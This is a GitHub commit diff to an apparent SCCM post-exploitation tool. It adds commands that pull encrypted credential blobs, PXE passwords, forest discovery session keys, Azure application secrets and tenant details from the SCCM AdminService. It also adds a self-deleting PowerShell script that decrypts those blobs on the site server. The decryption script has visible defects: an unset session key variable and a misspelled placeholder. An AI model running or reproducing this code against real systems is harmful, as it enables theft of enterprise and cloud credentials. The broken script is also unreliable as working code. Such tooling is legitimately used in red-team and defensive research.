Skip to content

Commit

Permalink
added credential extraction update
Browse files Browse the repository at this point in the history
  • Loading branch information
garrettfoster13 committed Mar 4, 2025
1 parent 85e3473 commit 29a2567
Show file tree
Hide file tree
Showing 4 changed files with 141 additions and 7 deletions.
3 changes: 3 additions & 0 deletions changelog.md
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0

- Admin Module
- Added `get_creds` command to pull credential blobs from SCCM
- Added `get_azurecreds` command to pull Azure co-management application blobs
- Added `get_azuretenant` commant to pull Azure tenant info
- Added `get_pxepassword` command to pull PXE boot blobs if configured
- Added `decrypt` command to decrypt passed credential blob
- You've got to be "interactive" with the SCCM primary site server for decryption to work
- This means the site server must be a client
Expand Down
45 changes: 43 additions & 2 deletions lib/attacks/cmpivot.py
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,7 @@ class SHELL(cmd2.Cmd):
PE = "PostEx Commands"
DB = "Database Commands"
IN = "Interface Commands"
CE = "Credential Extraction Commands"
hidden = ["alias", "help", "macro", "run_pyscript", "set", "shortcuts", "edit", "history", "quit", "run_script", "shell", "_relative_run_script", "eof"]

def __init__(self, username, password, target, logs_dir, auser, apassword):
Expand Down Expand Up @@ -324,20 +325,60 @@ def do_show_consoleconnections(self, arg):
logger.info(f"Tasked SCCM to list all SCCM console connections")
self.admin.show_consoleconnections()

@cmd2.with_category(PE)

# ############
# Creds Extraction
# ############

@cmd2.with_category(CE)
def do_get_creds(self, arg):
"""Extract encrypted cred blobs get_creds"""
logger.info("Tasked SCCM to extract all encrypted credential blobs")
self.admin.get_creds()

@cmd2.with_category(PE)
@cmd2.with_category(CE)
def do_get_pxepassword(self, arg):
"""Extract pxeboot encrypted cred blobs get_pxepassword"""
logger.info("Tasked SCCM to extract PXE boot password credential blobs")
self.admin.get_pxepass()

@cmd2.with_category(CE)
def do_get_forestkey(self, arg):
"""Extract forest discovery session key blobs get_forestkey"""
logger.info("Tasked SCCM to extract forest session key blobs")
self.admin.get_forestkey()

@cmd2.with_category(CE)
def do_get_azurecreds(self, arg):
"""Extract Azure co management encrypted cred blobs get_azurecreds"""
logger.info("Tasked SCCM to extract Azure app credential blobs")
self.admin.get_azurecreds()

@cmd2.with_category(CE)
def do_get_azuretenant(self, arg):
"""Get Azure Tenant INfo get_azuretenant"""
logger.info("Tasked SCCM to extract tenant info. get_azuretenant")
self.admin.get_azuretenant()

@cmd2.with_category(CE)
def do_decrypt(self, arg):
"""Decrypt provided encrypted blob decrypt"""
logger.info("Tasked SCCM to decrypt credential blob")
option = arg.split(' ')
blob = option[0]
self.script.decrypt(blob=blob, device=self.device)

@cmd2.with_category(CE)
def do_decryptEx(self, arg):
"""Decrypt provided encrypted blob with session key decryptEx"""
logger.info("Tasked SCCM to decrypt credential with session key blob")
option = arg.split(' ')
skey = option[0]
blob = option[1]
#if len(skey) !=
self.script.decryptEx(session_key=skey,encrypted_blob=blob,device=self.device)




class CONSOLE:
Expand Down
60 changes: 56 additions & 4 deletions lib/scripts/add_admin.py
Original file line number Diff line number Diff line change
Expand Up @@ -198,20 +198,72 @@ def get_creds(self):
except Exception as e:
print(e)

#wip

def get_pxepass(self):
url = f"https://{self.target_ip}/AdminService/wmi/SMS_SCI_SysResUse$select=UserName,Reserved2"
url = f"https://{self.target_ip}/AdminService/wmi/SMS_SCI_SCProperty?$filter=PropertyName eq 'PXEPassword'&$select=PropertyName,Value1"
try:
r = requests.get(f"{url}",
auth=HttpNtlmAuth(self.username, self.password),
verify=False,headers=self.headers)
if r.status_code == 200:
data = r.json()
logger.info(self.jprint(data))
print((self.jprint(data)))
return
else:
logger.info("[*] Something went wrong")
logger.info(r.text)
logger.info(r.status_code)
except Exception as e:
print(e)
print(e)

def get_forestkey(self):
url = f"https://{self.target_ip}/AdminService/wmi/SMS_SCI_SCProperty?$filter=startswith(PropertyName, 'GlobalAccount')&$select=Value1,Value2"
try:
r = requests.get(f"{url}",
auth=HttpNtlmAuth(self.username, self.password),
verify=False,headers=self.headers)
if r.status_code == 200:
data = r.json()
print((self.jprint(data)))
return
else:
logger.info("[*] Something went wrong")
logger.info(r.text)
logger.info(r.status_code)
except Exception as e:
print(e)


def get_azurecreds(self):
url = f"https://{self.target_ip}/AdminService/wmi/SMS_AAD_Application_Ex?$select=ClientID,SecretKey"
try:
r = requests.get(f"{url}",
auth=HttpNtlmAuth(self.username, self.password),
verify=False,headers=self.headers)
if r.status_code == 200:
data = r.json()
print((self.jprint(data)))
return
else:
logger.info("[*] Something went wrong")
logger.info(r.text)
logger.info(r.status_code)
except Exception as e:
print(e)

def get_azuretenant(self):
url = f"https://{self.target_ip}/AdminService/wmi/SMS_AAD_Tenant_Ex?$select=Name,TenantID"
try:
r = requests.get(f"{url}",
auth=HttpNtlmAuth(self.username, self.password),
verify=False,headers=self.headers)
if r.status_code == 200:
data = r.json()
print((self.jprint(data)))
return
else:
logger.info("[*] Something went wrong")
logger.info(r.text)
logger.info(r.status_code)
except Exception as e:
print(e)
40 changes: 39 additions & 1 deletion lib/scripts/runscript.py
Original file line number Diff line number Diff line change
Expand Up @@ -270,7 +270,45 @@ def decrypt(self, blob, device):
script_body = base64.b64encode(byte_array).decode('utf-8')
self.device = device
self.add_script(script_body)


def decryptEx(self, device, session_key, encrypted_blob):
script = '''
$sessionKey =
$encryptedPwd = '{encrypted_blog}'
$dllPath = "C:\Program Files\Microsoft Configuration Manager\bin\X64\microsoft.configurationmanager.commonbase.dll"
Add-Type -Path $dllPath
$sessionKeyBytes = [byte[]]::new($sessionKey.Length / 2)
$encryptedBytes = [byte[]]::new($encryptedPwd.Length / 2)
for($i = 0; $i -lt $sessionKey.Length; $i += 2) {
$sessionKeyBytes[$i/2] = [Convert]::ToByte($sessionKey.Substring($i, 2), 16)
}
for($i = 0; $i -lt $encryptedPwd.Length; $i += 2) {
$encryptedBytes[$i/2] = [Convert]::ToByte($encryptedPwd.Substring($i, 2), 16)
}
$encUtil = [Microsoft.ConfigurationManager.CommonBase.EncryptionUtilities]::Instance
$decrypted = $encUtil.DecryptWithGeneratedSessionKey($sessionKeyBytes, $encryptedBytes)
if ($decrypted -ne $null) {
$length = 0
foreach($byte in $decrypted) {
if ($byte -eq 0 -or $byte -lt 32 -or $byte -gt 126) {
break
}
$length++
}
$decryptedString = [System.Text.Encoding]::ASCII.GetString($decrypted, 0, $length)
Write-Host $decryptedString"
}
function Do-Delete {
Del $MyInvocation.PSCommandPath
}
Do-Delete
'''%session_key %encrypted_blob
bom = codecs.BOM_UTF16_LE
byte_array = bom + script.encode('utf-16-le')
script_body = base64.b64encode(byte_array).decode('utf-8')
self.device = device
self.add_script(script_body)


def printlog(self, result):
filename = (f'{self.logs_dir}/console.log')
Expand Down

0 comments on commit 29a2567

Please sign in to comment.